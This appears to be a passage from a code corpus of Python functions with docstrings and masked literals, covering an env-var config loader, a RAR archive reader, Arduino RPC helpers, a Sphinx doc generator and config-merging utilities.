{"signature": "def validate_is_boolean_true(config_val, evar):", "body": "if config_val is None:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(evar_name=evar.name))<EOL><DEDENT>return config_val<EOL>", "docstring": "Make sure the value evaluates to boolean True.\n\n:param str config_val: The env var value.\n:param EnvironmentVariable evar: The EVar object we are validating\n    a value for.\n:raises: ValueError if the config value evaluates to boolean False.", "id": "f12632:m6"}
{"signature": "def value_to_python_log_level(config_val, evar):", "body": "if not config_val:<EOL><INDENT>config_val = evar.default_val<EOL><DEDENT>config_val = config_val.upper()<EOL>return logging._checkLevel(config_val)<EOL>", "docstring": "Convert an evar value into a Python logging level constant.\n\n:param str config_val: The env var value.\n:param EnvironmentVariable evar: The EVar object we are validating\n    a value for.\n:return: A validated string.\n:raises: ValueError if the log level is invalid.", "id": "f12632:m7"}
{"signature": "def __init__(self, evar_defs):", "body": "self.evar_defs = evar_defs<EOL>", "docstring": ":param dict evar_defs: Pass in a dict whose keys are config\n    names and the values are :py:class:`EnvironmentVariable`\n    instances.", "id": "f12634:c0:m0"}
{"signature": "def load_values(self):", "body": "for config_name, evar in self.evar_defs.items():<EOL><INDENT>if evar.is_required and evar.name not in os.environ:<EOL><INDENT>raise RuntimeError((<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>).format(evar_name=evar.name, help_txt=evar.help_txt))<EOL><DEDENT>if evar.name in os.environ:<EOL><INDENT>self[config_name] = os.environ.get(evar.name)<EOL><DEDENT>else:<EOL><INDENT>self[config_name] = evar.default_val<EOL><DEDENT>for filter in evar.filters:<EOL><INDENT>current_val = self.get(config_name)<EOL>new_val = filter(current_val, evar)<EOL>self[config_name] = new_val<EOL><DEDENT><DEDENT>self._filter_all()<EOL>", "docstring": "Go through the env var map, transferring the values to this object\nas attributes.\n\n:raises: RuntimeError if a required env var isn't defined.", "id": "f12634:c0:m1"}
{"signature": "def _filter_all(self):", "body": "pass<EOL>", "docstring": "This runs after all individual env vars have been loaded.\nFeel free to modify values or raise exceptions as need be.\n\n:raises: ValueError if something is amiss.", "id": "f12634:c0:m2"}
{"signature": "def __init__(self, name, is_required=True, default_val=None,<EOL>filters=None, help_txt=None):", "body": "self.name = name<EOL>self.is_required = is_required<EOL>self.default_val = default_val<EOL>self.filters = filters or []<EOL>self.help_txt = help_txt<EOL>", "docstring": ":param str name: The name of the environment variable. *This is\n    case-sensitive!*\n:keyword bool is_required: If ``True``, this variable must be defined\n    when your Python process starts. If ``False``, the default loaded\n    value will match ``default_val``.\n:keyword default_val: If ``is_required`` is ``False`` and this\n    environment variable is not defined, this value will be loaded.\n:keyword list filters: A list of functions to pass the environment\n    variable's value (or default value) through. Order is\n    significant!\n:keyword str help_txt: Optional help text describing the environment\n    variable.", "id": "f12634:c1:m0"}
{"signature": "def is_rarfile(filename):", "body": "mode = constants.RAR_OM_LIST_INCSPLIT<EOL>archive = unrarlib.RAROpenArchiveDataEx(filename, mode=mode)<EOL>try:<EOL><INDENT>handle = unrarlib.RAROpenArchiveEx(ctypes.byref(archive))<EOL><DEDENT>except unrarlib.UnrarException:<EOL><INDENT>return False<EOL><DEDENT>unrarlib.RARCloseArchive(handle)<EOL>return (archive.OpenResult == constants.SUCCESS)<EOL>", "docstring": "Return true if file is a valid RAR file.", "id": "f12640:m0"}
{"signature": "def __init__(self, header):", "body": "self.filename = header.FileNameW<EOL>self._raw_time = header.FileTime<EOL>self.date_time = unrarlib.dostime_to_timetuple(header.FileTime)<EOL>self.compress_size = header.PackSize + (header.PackSizeHigh << <NUM_LIT:32>)<EOL>self.file_size = header.UnpSize + (header.UnpSizeHigh << <NUM_LIT:32>)<EOL>self.create_system = header.HostOS<EOL>self.extract_version = header.UnpVer<EOL>self.CRC = header.FileCRC<EOL>self.flag_bits = header.Flags<EOL>if header.CmtState == constants.RAR_COMMENTS_SUCCESS:<EOL><INDENT>self.comment = header.CmtBuf.value<EOL><DEDENT>else:<EOL><INDENT>self.comment = None<EOL><DEDENT>", "docstring": "Initialize a RarInfo object with a member header data.", "id": "f12640:c1:m0"}
{"signature": "def __init__(self, filename, mode='<STR_LIT:r>', pwd=None):", "body": "self.filename = filename<EOL>mode = constants.RAR_OM_LIST_INCSPLIT<EOL>archive = unrarlib.RAROpenArchiveDataEx(filename, mode=mode)<EOL>handle = self._open(archive)<EOL>self.pwd = pwd<EOL>if self.pwd is not None:<EOL><INDENT>unrarlib.RARSetPassword(handle, b(self.pwd))<EOL><DEDENT>self.filelist = []<EOL>self.NameToInfo = {}<EOL>if archive.CmtState == constants.RAR_COMMENTS_SUCCESS:<EOL><INDENT>self.comment = archive.CmtBuf.value<EOL><DEDENT>else:<EOL><INDENT>self.comment = None<EOL><DEDENT>self._load_metadata(handle)<EOL>self._close(handle)<EOL>", "docstring": "Load RAR archive file with mode read only \"r\".", "id": "f12640:c3:m0"}
{"signature": "def _read_header(self, handle):", "body": "header_data = unrarlib.RARHeaderDataEx()<EOL>try:<EOL><INDENT>res = unrarlib.RARReadHeaderEx(handle, ctypes.byref(header_data))<EOL>rarinfo = RarInfo(header=header_data)<EOL><DEDENT>except unrarlib.ArchiveEnd:<EOL><INDENT>return None<EOL><DEDENT>except unrarlib.MissingPassword:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>except unrarlib.BadPassword:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>except unrarlib.UnrarException as e:<EOL><INDENT>raise BadRarFile(str(e))<EOL><DEDENT>return rarinfo<EOL>", "docstring": "Read current member header into a RarInfo object.", "id": "f12640:c3:m1"}
{"signature": "def _process_current(self, handle, op, dest_path=None, dest_name=None):", "body": "unrarlib.RARProcessFileW(handle, op, dest_path, dest_name)<EOL>", "docstring": "Process current member with 'op' operation.", "id": "f12640:c3:m2"}
{"signature": "def _load_metadata(self, handle):", "body": "rarinfo = self._read_header(handle)<EOL>while rarinfo:<EOL><INDENT>self.filelist.append(rarinfo)<EOL>self.NameToInfo[rarinfo.filename] = rarinfo<EOL>self._process_current(handle, constants.RAR_SKIP)<EOL>rarinfo = self._read_header(handle)<EOL><DEDENT>", "docstring": "Load archive members metadata.", "id": "f12640:c3:m3"}
{"signature": "def _open(self, archive):", "body": "try:<EOL><INDENT>handle = unrarlib.RAROpenArchiveEx(ctypes.byref(archive))<EOL><DEDENT>except unrarlib.UnrarException:<EOL><INDENT>raise BadRarFile(\"<STR_LIT>\")<EOL><DEDENT>return handle<EOL>", "docstring": "Open RAR archive file.", "id": "f12640:c3:m4"}
{"signature": "def _close(self, handle):", "body": "try:<EOL><INDENT>unrarlib.RARCloseArchive(handle)<EOL><DEDENT>except unrarlib.CloseError:<EOL><INDENT>raise BadRarFile(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Close RAR archive file.", "id": "f12640:c3:m5"}
{"signature": "def open(self, member, pwd=None):", "body": "if isinstance(member, RarInfo):<EOL><INDENT>member = member.filename<EOL><DEDENT>archive = unrarlib.RAROpenArchiveDataEx(<EOL>self.filename, mode=constants.RAR_OM_EXTRACT)<EOL>handle = self._open(archive)<EOL>password = pwd or self.pwd<EOL>if password is not None:<EOL><INDENT>unrarlib.RARSetPassword(handle, b(password))<EOL><DEDENT>data = _ReadIntoMemory()<EOL>c_callback = unrarlib.UNRARCALLBACK(data._callback)<EOL>unrarlib.RARSetCallback(handle, c_callback, <NUM_LIT:0>)<EOL>try:<EOL><INDENT>rarinfo = self._read_header(handle)<EOL>while rarinfo is not None:<EOL><INDENT>if rarinfo.filename == member:<EOL><INDENT>self._process_current(handle, constants.RAR_TEST)<EOL>break<EOL><DEDENT>else:<EOL><INDENT>self._process_current(handle, constants.RAR_SKIP)<EOL><DEDENT>rarinfo = self._read_header(handle)<EOL><DEDENT>if rarinfo is None:<EOL><INDENT>data = None<EOL><DEDENT><DEDENT>except unrarlib.MissingPassword:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>except unrarlib.BadPassword:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>except unrarlib.BadDataError:<EOL><INDENT>if password is not None:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>except unrarlib.UnrarException as e:<EOL><INDENT>raise BadRarFile(\"<STR_LIT>\" % str(e))<EOL><DEDENT>finally:<EOL><INDENT>self._close(handle)<EOL><DEDENT>if data is None:<EOL><INDENT>raise KeyError('<STR_LIT>' % member)<EOL><DEDENT>return data.get_bytes()<EOL>", "docstring": "Return file-like object for 'member'.\n\n           'member' may be a filename or a RarInfo object.", "id": "f12640:c3:m6"}
{"signature": "def read(self, member, pwd=None):", "body": "return self.open(member, pwd).read()<EOL>", "docstring": "Return file bytes (as a string) for name.", "id": "f12640:c3:m7"}
{"signature": "def namelist(self):", "body": "names = []<EOL>for member in self.filelist:<EOL><INDENT>names.append(member.filename)<EOL><DEDENT>return names<EOL>", "docstring": "Return a list of file names in the archive.", "id": "f12640:c3:m8"}
{"signature": "def setpassword(self, pwd):", "body": "self.pwd = pwd<EOL>", "docstring": "Set default password for encrypted files.", "id": "f12640:c3:m9"}
{"signature": "def getinfo(self, name):", "body": "rarinfo = self.NameToInfo.get(name)<EOL>if rarinfo is None:<EOL><INDENT>raise KeyError('<STR_LIT>' % name)<EOL><DEDENT>return rarinfo<EOL>", "docstring": "Return the instance of RarInfo given 'name'.", "id": "f12640:c3:m10"}
{"signature": "def infolist(self):", "body": "return self.filelist<EOL>", "docstring": "Return a list of class RarInfo instances for files in the\n        archive.", "id": "f12640:c3:m11"}
{"signature": "def printdir(self):", "body": "print(\"<STR_LIT>\" % (\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"))<EOL>for rarinfo in self.filelist:<EOL><INDENT>date = \"<STR_LIT>\" % rarinfo.date_time[:<NUM_LIT:6>]<EOL>print(\"<STR_LIT>\" % (<EOL>rarinfo.filename, date, rarinfo.file_size))<EOL><DEDENT>", "docstring": "Print a table of contents for the RAR file.", "id": "f12640:c3:m12"}
{"signature": "def extract(self, member, path=None, pwd=None):", "body": "if isinstance(member, RarInfo):<EOL><INDENT>member = member.filename<EOL><DEDENT>if path is None:<EOL><INDENT>path = os.getcwd()<EOL><DEDENT>self._extract_members([member], path, pwd)<EOL>return os.path.join(path, member)<EOL>", "docstring": "Extract a member from the archive to the current working directory,\n           using its full name. Its file information is extracted as accurately\n           as possible. `member' may be a filename or a RarInfo object. You can\n           specify a different directory using `path'.", "id": "f12640:c3:m14"}
{"signature": "def extractall(self, path=None, members=None, pwd=None):", "body": "if members is None:<EOL><INDENT>members = self.namelist()<EOL><DEDENT>self._extract_members(members, path, pwd)<EOL>", "docstring": "Extract all members from the archive to the current working\n           directory. `path' specifies a different directory to extract to.\n           `members' is optional and must be a subset of the list returned\n           by namelist().", "id": "f12640:c3:m15"}
{"signature": "def _extract_members(self, members, targetpath, pwd):", "body": "archive = unrarlib.RAROpenArchiveDataEx(<EOL>self.filename, mode=constants.RAR_OM_EXTRACT)<EOL>handle = self._open(archive)<EOL>password = pwd or self.pwd<EOL>if password is not None:<EOL><INDENT>unrarlib.RARSetPassword(handle, b(password))<EOL><DEDENT>try:<EOL><INDENT>rarinfo = self._read_header(handle)<EOL>while rarinfo is not None:<EOL><INDENT>if rarinfo.filename in members:<EOL><INDENT>self._process_current(<EOL>handle, constants.RAR_EXTRACT, targetpath)<EOL><DEDENT>else:<EOL><INDENT>self._process_current(handle, constants.RAR_SKIP)<EOL><DEDENT>rarinfo = self._read_header(handle)<EOL><DEDENT><DEDENT>except unrarlib.MissingPassword:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>except unrarlib.BadPassword:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>except unrarlib.BadDataError:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>except unrarlib.UnrarException as e:<EOL><INDENT>raise BadRarFile(\"<STR_LIT>\" % str(e))<EOL><DEDENT>finally:<EOL><INDENT>self._close(handle)<EOL><DEDENT>", "docstring": "Extract the RarInfo objects 'members' to a physical\n           file on the path targetpath.", "id": "f12640:c3:m16"}
{"signature": "def dostime_to_timetuple(dostime):", "body": "dostime = dostime >> <NUM_LIT:16><EOL>dostime = dostime & <NUM_LIT><EOL>day = dostime & <NUM_LIT><EOL>month = (dostime >> <NUM_LIT:5>) & <NUM_LIT><EOL>year = <NUM_LIT> + (dostime >> <NUM_LIT:9>)<EOL>second = <NUM_LIT:2> * (dostime & <NUM_LIT>)<EOL>minute = (dostime >> <NUM_LIT:5>) & <NUM_LIT><EOL>hour = dostime >> <NUM_LIT:11><EOL>return (year, month, day, hour, minute, second)<EOL>", "docstring": "Convert a RAR archive member DOS time to a Python time tuple.", "id": "f12642:m0"}
{"signature": "def _c_func(func, restype, argtypes, errcheck=None):", "body": "func.restype = restype<EOL>func.argtypes = argtypes<EOL>if errcheck is not None:<EOL><INDENT>func.errcheck = errcheck<EOL><DEDENT>return func<EOL>", "docstring": "Wrap c function setting prototype.", "id": "f12642:m1"}
{"signature": "def __repr__(self):", "body": "res = []<EOL>for field in self._fields_:<EOL><INDENT>field_value = repr(getattr(self, field[<NUM_LIT:0>]))<EOL>res.append('<STR_LIT>' % (field[<NUM_LIT:0>], field_value))<EOL><DEDENT>return self.__class__.__name__ + '<STR_LIT:(>' + '<STR_LIT:U+002C>'.join(res) + '<STR_LIT:)>'<EOL>", "docstring": "Print the structure fields.", "id": "f12642:c16:m0"}
{"signature": "def serial_ports():", "body": "df_comports = sd.comports()<EOL>df_teensy_comports = df_comports.loc[df_comports.hardware_id.str<EOL>.contains('<STR_LIT>',<EOL>case=False)]<EOL>return df_teensy_comports<EOL>", "docstring": "Returns\n-------\npandas.DataFrame\n    Table of serial ports that match the USB vendor ID and product ID for\n    the `Teensy 3.2`_ board.\n\n.. Teensy 3.2: https://www.pjrc.com/store/teensy32.html", "id": "f12647:m0"}
{"signature": "def get_sketch_directory():", "body": "return package_path().joinpath('<STR_LIT:..>', '<STR_LIT:src>').realpath()<EOL>", "docstring": "Return directory containing the Arduino sketch.", "id": "f12649:m1"}
{"signature": "def get_includes():", "body": "import base_node_rpc<EOL>return ([get_sketch_directory()] +<EOL>list(get_lib_directory().walkdirs('<STR_LIT:src>')) +<EOL>base_node_rpc.get_includes())<EOL>", "docstring": "Return directories containing the Arduino header files.\n\nNotes\n=====\n\nFor example:\n\n    import arduino_rpc\n    ...\n    print ' '.join(['-I%s' % i for i in arduino_rpc.get_includes()])\n    ...", "id": "f12649:m3"}
{"signature": "def get_sources():", "body": "import base_node_rpc<EOL>return (get_sketch_directory().files('<STR_LIT>') +<EOL>list(get_lib_directory().walkfiles('<STR_LIT>')) +<EOL>base_node_rpc.get_sources())<EOL>", "docstring": "Return Arduino source file paths.  This includes any supplementary source\nfiles that are not contained in Arduino libraries.", "id": "f12649:m4"}
{"signature": "def get_firmwares():", "body": "return OrderedDict([(board_dir.name, [f.abspath() for f in<EOL>board_dir.walkfiles('<STR_LIT>')])<EOL>for board_dir in<EOL>package_path().joinpath('<STR_LIT>').dirs()])<EOL>", "docstring": "Return compiled Arduino hex file paths.\n\nThis function may be used to locate firmware binaries that are available\nfor flashing to [Arduino][1] boards.\n\n[1]: http://arduino.cc", "id": "f12649:m5"}
{"signature": "def parse_args(args=None):", "body": "from argparse import ArgumentParser<EOL>if args is None:<EOL><INDENT>args = sys.argv<EOL><DEDENT>parser = ArgumentParser(description='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>args = parser.parse_args()<EOL>return args<EOL>", "docstring": "Parses arguments, returns (options, args).", "id": "f12650:m1"}
{"signature": "def makename(package, module):", "body": "<EOL>if package:<EOL><INDENT>name = package<EOL>if module:<EOL><INDENT>name += '<STR_LIT:.>' + module<EOL><DEDENT><DEDENT>else:<EOL><INDENT>name = module<EOL><DEDENT>return name<EOL>", "docstring": "Join package and module with a dot.", "id": "f12651:m0"}
{"signature": "def write_file(name, text, opts):", "body": "if opts.dryrun:<EOL><INDENT>return<EOL><DEDENT>fname = os.path.join(opts.destdir, \"<STR_LIT>\" % (name, opts.suffix))<EOL>if not opts.force and os.path.isfile(fname):<EOL><INDENT>print('<STR_LIT>' % fname)<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>' % fname)<EOL>f = open(fname, '<STR_LIT:w>')<EOL>f.write(text)<EOL>f.close()<EOL><DEDENT>", "docstring": "Write the output file for module/package <name>.", "id": "f12651:m1"}
{"signature": "def format_heading(level, text):", "body": "underlining = ['<STR_LIT:=>', '<STR_LIT:->', '<STR_LIT>', ][level-<NUM_LIT:1>] * len(text)<EOL>return '<STR_LIT>' % (text, underlining)<EOL>", "docstring": "Create a heading of <level> [1, 2 or 3 supported].", "id": "f12651:m2"}
{"signature": "def format_directive(module, package=None):", "body": "directive = '<STR_LIT>' % makename(package, module)<EOL>for option in OPTIONS:<EOL><INDENT>directive += '<STR_LIT>' % option<EOL><DEDENT>return directive<EOL>", "docstring": "Create the automodule directive and add the options.", "id": "f12651:m3"}
{"signature": "def create_module_file(package, module, opts):", "body": "text = format_heading(<NUM_LIT:1>, '<STR_LIT>' % module)<EOL>text += format_heading(<NUM_LIT:2>, '<STR_LIT>' % module)<EOL>text += format_directive(module, package)<EOL>write_file(makename(package, module), text, opts)<EOL>", "docstring": "Build the text of the file and write the file.", "id": "f12651:m4"}
{"signature": "def create_package_file(root, master_package, subroot, py_files, opts, subs):", "body": "package = os.path.split(root)[-<NUM_LIT:1>]<EOL>text = format_heading(<NUM_LIT:1>, '<STR_LIT>' % package)<EOL>for py_file in py_files:<EOL><INDENT>if shall_skip(os.path.join(root, py_file)):<EOL><INDENT>continue<EOL><DEDENT>is_package = py_file == INIT<EOL>py_file = os.path.splitext(py_file)[<NUM_LIT:0>]<EOL>py_path = makename(subroot, py_file)<EOL>if is_package:<EOL><INDENT>heading = '<STR_LIT>' % package<EOL><DEDENT>else:<EOL><INDENT>heading = '<STR_LIT>' % py_file<EOL><DEDENT>text += format_heading(<NUM_LIT:2>, heading)<EOL>text += format_directive(is_package and subroot or py_path, master_package)<EOL>text += '<STR_LIT:\\n>'<EOL><DEDENT>subs = [sub for sub in subs if os.path.isfile(os.path.join(root, sub, INIT))]<EOL>if subs:<EOL><INDENT>text += format_heading(<NUM_LIT:2>, '<STR_LIT>')<EOL>text += '<STR_LIT>'<EOL>for sub in subs:<EOL><INDENT>text += '<STR_LIT>' % (makename(master_package, subroot), sub)<EOL><DEDENT>text += '<STR_LIT:\\n>'<EOL><DEDENT>write_file(makename(master_package, subroot), text, opts)<EOL>", "docstring": "Build the text of the file and write the file.", "id": "f12651:m5"}
{"signature": "def create_modules_toc_file(master_package, modules, opts, name='<STR_LIT>'):", "body": "text = format_heading(<NUM_LIT:1>, '<STR_LIT>' % opts.header)<EOL>text += '<STR_LIT>'<EOL>text += '<STR_LIT>' % opts.maxdepth<EOL>modules.sort()<EOL>prev_module = '<STR_LIT>'<EOL>for module in modules:<EOL><INDENT>if module.startswith(prev_module + '<STR_LIT:.>'):<EOL><INDENT>continue<EOL><DEDENT>prev_module = module<EOL>text += '<STR_LIT>' % module<EOL><DEDENT>write_file(name, text, opts)<EOL>", "docstring": "Create the module's index.", "id": "f12651:m6"}
{"signature": "def shall_skip(module):", "body": "<EOL>return os.path.getsize(module) < <NUM_LIT:3><EOL>", "docstring": "Check if we want to skip this module.", "id": "f12651:m7"}
{"signature": "def recurse_tree(path, excludes, opts):", "body": "<EOL>path = os.path.abspath(path)<EOL>if INIT in os.listdir(path):<EOL><INDENT>package_name = path.split(os.path.sep)[-<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>package_name = None<EOL><DEDENT>toc = []<EOL>tree = os.walk(path, False)<EOL>for root, subs, files in tree:<EOL><INDENT>py_files =  sorted([f for f in files if os.path.splitext(f)[<NUM_LIT:1>] == '<STR_LIT>'])<EOL>if INIT in py_files:<EOL><INDENT>py_files.remove(INIT)<EOL>py_files.insert(<NUM_LIT:0>, INIT)<EOL><DEDENT>subs = sorted([sub for sub in subs if sub[<NUM_LIT:0>] not in ['<STR_LIT:.>', '<STR_LIT:_>']])<EOL>if \"<STR_LIT>\" in root or \"<STR_LIT>\" in rootor not py_filesor is_excluded(root, excludes):<EOL><INDENT>continue<EOL><DEDENT>if INIT in py_files:<EOL><INDENT>if (<EOL>subs<EOL>or<EOL>len(py_files) > <NUM_LIT:1><EOL>or<EOL>not shall_skip(os.path.join(root, INIT))<EOL>):<EOL><INDENT>subroot = root[len(path):].lstrip(os.path.sep).replace(os.path.sep, '<STR_LIT:.>')<EOL>create_package_file(root, package_name, subroot, py_files, opts, subs)<EOL>toc.append(makename(package_name, subroot))<EOL><DEDENT><DEDENT>elif root == path:<EOL><INDENT>for py_file in py_files:<EOL><INDENT>if not shall_skip(os.path.join(path, py_file)):<EOL><INDENT>module = os.path.splitext(py_file)[<NUM_LIT:0>]<EOL>create_module_file(package_name, module, opts)<EOL>toc.append(makename(package_name, module))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if not opts.notoc:<EOL><INDENT>create_modules_toc_file(package_name, toc, opts)<EOL><DEDENT>", "docstring": "Look for every file in the directory tree and create the corresponding\nReST files.", "id": "f12651:m8"}
{"signature": "def normalize_excludes(rootpath, excludes):", "body": "sep = os.path.sep<EOL>f_excludes = []<EOL>for exclude in excludes:<EOL><INDENT>if not os.path.isabs(exclude) and not exclude.startswith(rootpath):<EOL><INDENT>exclude = os.path.join(rootpath, exclude)<EOL><DEDENT>if not exclude.endswith(sep):<EOL><INDENT>exclude += sep<EOL><DEDENT>f_excludes.append(exclude)<EOL><DEDENT>return f_excludes<EOL>", "docstring": "Normalize the excluded directory list:\n* must be either an absolute path or start with rootpath,\n* otherwise it is joined with rootpath\n* with trailing slash", "id": "f12651:m9"}
{"signature": "def is_excluded(root, excludes):", "body": "sep = os.path.sep<EOL>if not root.endswith(sep):<EOL><INDENT>root += sep<EOL><DEDENT>for exclude in excludes:<EOL><INDENT>if root.startswith(exclude):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Check if the directory is in the exclude list.\n\nNote: by having trailing slashes, we avoid common prefix issues, like\n      e.g. an exlude \"foo\" also accidentally excluding \"foobar\".", "id": "f12651:m10"}
{"signature": "def main():", "body": "parser = optparse.OptionParser(usage=\"\"\"<STR_LIT>\"\"\")<EOL>parser.add_option(\"<STR_LIT>\", \"<STR_LIT>\", action=\"<STR_LIT:store>\", dest=\"<STR_LIT>\", help=\"<STR_LIT>\", default=\"<STR_LIT>\")<EOL>parser.add_option(\"<STR_LIT>\", \"<STR_LIT>\", action=\"<STR_LIT:store>\", dest=\"<STR_LIT>\", help=\"<STR_LIT>\", default=\"<STR_LIT>\")<EOL>parser.add_option(\"<STR_LIT>\", \"<STR_LIT>\", action=\"<STR_LIT:store>\", dest=\"<STR_LIT>\", help=\"<STR_LIT>\", default=\"<STR_LIT>\")<EOL>parser.add_option(\"<STR_LIT>\", \"<STR_LIT>\", action=\"<STR_LIT:store>\", dest=\"<STR_LIT>\", help=\"<STR_LIT>\", type=\"<STR_LIT:int>\", default=<NUM_LIT:4>)<EOL>parser.add_option(\"<STR_LIT>\", \"<STR_LIT>\", action=\"<STR_LIT:store_true>\", dest=\"<STR_LIT>\", help=\"<STR_LIT>\")<EOL>parser.add_option(\"<STR_LIT>\", \"<STR_LIT>\", action=\"<STR_LIT:store_true>\", dest=\"<STR_LIT>\", help=\"<STR_LIT>\")<EOL>parser.add_option(\"<STR_LIT>\", \"<STR_LIT>\", action=\"<STR_LIT:store_true>\", dest=\"<STR_LIT>\", help=\"<STR_LIT>\")<EOL>(opts, args) = parser.parse_args()<EOL>if not args:<EOL><INDENT>parser.error(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>rootpath, excludes = args[<NUM_LIT:0>], args[<NUM_LIT:1>:]<EOL>if os.path.isdir(rootpath):<EOL><INDENT>if opts.destdir and os.path.isdir(opts.destdir):<EOL><INDENT>excludes = normalize_excludes(rootpath, excludes)<EOL>recurse_tree(rootpath, excludes, opts)<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>' % opts.destdir)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print('<STR_LIT>' % rootpath)<EOL><DEDENT><DEDENT>", "docstring": "Parse and check the command line arguments.", "id": "f12651:m11"}
{"signature": "def seeded_auth_token(client, service, seed):", "body": "hash_func = hashlib.md5()<EOL>token = '<STR_LIT:U+002C>'.join((client, service, seed)).encode('<STR_LIT:utf-8>')<EOL>hash_func.update(token)<EOL>return hash_func.hexdigest()<EOL>", "docstring": "Return an auth token based on the client+service+seed tuple.", "id": "f12653:m0"}
{"signature": "def setUp(self):", "body": "tests_dir = os.path.dirname(__file__)<EOL>bin_dir = script_path = os.path.join(tests_dir, '<STR_LIT:..>', '<STR_LIT:..>', '<STR_LIT>')<EOL>script_path = os.path.join(bin_dir, '<STR_LIT>')<EOL>self.app_dir = os.path.join(tests_dir, '<STR_LIT>', '<STR_LIT>')<EOL>self.pub_conf = os.path.join(self.app_dir, '<STR_LIT>')<EOL>self.conf = os.path.join(self.app_dir, '<STR_LIT>')<EOL>env = {<EOL>'<STR_LIT>': os.environ['<STR_LIT>'],<EOL>'<STR_LIT>': '<STR_LIT::>'.join(sys.path),<EOL>}<EOL>p = subprocess.Popen(<EOL>(script_path, '<STR_LIT>', self.app_dir, '<STR_LIT>', '<STR_LIT:.>',<EOL>'<STR_LIT>', '<STR_LIT>'),<EOL>stdin=subprocess.PIPE, stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE, env=env)<EOL>out, err = p.communicate()<EOL>self.assertEqual(p.wait(), <NUM_LIT:0>)<EOL>self.assertEqual(err, b'<STR_LIT>')<EOL>", "docstring": "Calls configurator in the sample app.", "id": "f12656:c0:m0"}
{"signature": "def clean_sources(self, sources):", "body": "return [tuple(path.rsplit('<STR_LIT:.>', <NUM_LIT:1>)[<NUM_LIT:0>].rsplit('<STR_LIT:/>', <NUM_LIT:2>)[<NUM_LIT:1>:])<EOL>for path in sources]<EOL>", "docstring": "Convert a config_sources result into a create_sources list.\n\n        i.e. the last two path components, minus a file extension", "id": "f12658:c1:m4"}
{"signature": "def write(self, name, contents):", "body": "fn = os.path.join(self.tmpdir, name)<EOL>with open(fn, '<STR_LIT:w>') as f:<EOL><INDENT>f.write(contents)<EOL><DEDENT>return fn<EOL>", "docstring": "Write contents to tmpdir/name. Return full filename.", "id": "f12658:c2:m3"}
{"signature": "def filter(config):", "body": "keys = [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>]<EOL>return filter_dict(config, keys)<EOL>", "docstring": "The subset of configuration keys to be made public.", "id": "f12660:m0"}
{"signature": "def write_config(config, app_dir, filename='<STR_LIT>'):", "body": "path = os.path.join(app_dir, filename)<EOL>with open(path, '<STR_LIT:w>') as f:<EOL><INDENT>json.dump(<EOL>config, f, indent=<NUM_LIT:4>, cls=DetectMissingEncoder,<EOL>separators=('<STR_LIT:U+002C>', '<STR_LIT>'))<EOL><DEDENT>", "docstring": "Write configuration to the applicaiton directory.", "id": "f12662:m0"}
{"signature": "def get_config_module(config_pathname):", "body": "configs_mod = '<STR_LIT>'<EOL>if configs_mod not in sys.modules:<EOL><INDENT>sys.modules[configs_mod] = types.ModuleType(configs_mod)<EOL><DEDENT>module_name = os.path.basename(config_pathname).rsplit('<STR_LIT:.>', <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>module_name = configs_mod + '<STR_LIT:.>' + module_name<EOL>return _load_module(module_name, config_pathname)<EOL>", "docstring": "Imports the config file to yoconfigurator.configs.<config_basename>.", "id": "f12662:m2"}
{"signature": "def filter_config(config, deploy_config):", "body": "if not os.path.isfile(deploy_config):<EOL><INDENT>return DotDict()<EOL><DEDENT>config_module = get_config_module(deploy_config)<EOL>return config_module.filter(config)<EOL>", "docstring": "Return a config subset using the filter defined in the deploy config.", "id": "f12663:m0"}
{"signature": "def merge_dicts(d1, d2, _path=None):", "body": "if _path is None:<EOL><INDENT>_path = ()<EOL><DEDENT>if isinstance(d1, dict) and isinstance(d2, dict):<EOL><INDENT>for k, v in d2.items():<EOL><INDENT>if isinstance(v, MissingValue) and v.name is None:<EOL><INDENT>v.name = '<STR_LIT:.>'.join(_path + (k,))<EOL><DEDENT>if isinstance(v, DeletedValue):<EOL><INDENT>d1.pop(k, None)<EOL><DEDENT>elif k not in d1:<EOL><INDENT>if isinstance(v, dict):<EOL><INDENT>d1[k] = merge_dicts({}, v, _path + (k,))<EOL><DEDENT>else:<EOL><INDENT>d1[k] = v<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if isinstance(d1[k], dict) and isinstance(v, dict):<EOL><INDENT>d1[k] = merge_dicts(d1[k], v, _path + (k,))<EOL><DEDENT>elif isinstance(d1[k], list) and isinstance(v, list):<EOL><INDENT>d1[k] += v<EOL><DEDENT>elif isinstance(d1[k], MissingValue):<EOL><INDENT>d1[k] = v<EOL><DEDENT>elif d1[k] is None:<EOL><INDENT>d1[k] = v<EOL><DEDENT>elif type(d1[k]) == type(v):<EOL><INDENT>d1[k] = v<EOL><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>'<EOL>% (type(d1[k]), 